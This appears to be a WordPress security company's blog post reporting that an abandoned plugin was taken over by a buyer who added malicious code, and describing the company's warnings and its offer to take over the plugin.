Is your plugin outdated? Can you not be bothered to respond to the support forum?

Here at wpdevs we would like to offer you money to take away this burden!

That domain name was registered on April 7 of this year and a privacy service is used, so no details are listed for the registrant.

We Are Already Warning

If you were using our service you would have already been warned by now if you were using one of the versions of the plugin that contained the malicious code.

We have also updated the free data that comes with the companion plugin to our service, so that those not using the service are getting warned as well as they update to the new version of our plugin. In what seems like a good example of the poor state of security surrounding WordPress, our plugin is used on a fraction of the websites as other security plugin that don’t really provide any protection.

We are looking to see if there is anything in the code that added to this plugin that might be something that would be useful to watch for as part of the proactive monitoring of vulnerabilities in plugins that we do, which already incorporates checking based on previous instances of intentionally (or possible intentional) malicious code being included in plugins.

Offering to Take Over the Plugin

Over at our main website we recently started offering a service to takeover abandoned plugins, which involves us doing a security review of the plugin, fixing any bugs, and making sure that it is compatible with new versions of WordPress. After we put that together we had the thought that in the future if plugins with vulnerabilities that are being exploited don’t get fixed we would try to take over the plugin to make sure that the damage done by WordPress’ poor handling of the situation is limited.

Hopefully the folks on the WordPress side of things will quickly release a new version of the plugin, which removes the malicious code in it. That could easily been done by simply releasing the version from the before the plugin was taken over with a new version number. If they don’t do that in the next week we will offer to take over the plugin to make sure people are provided with a secured version.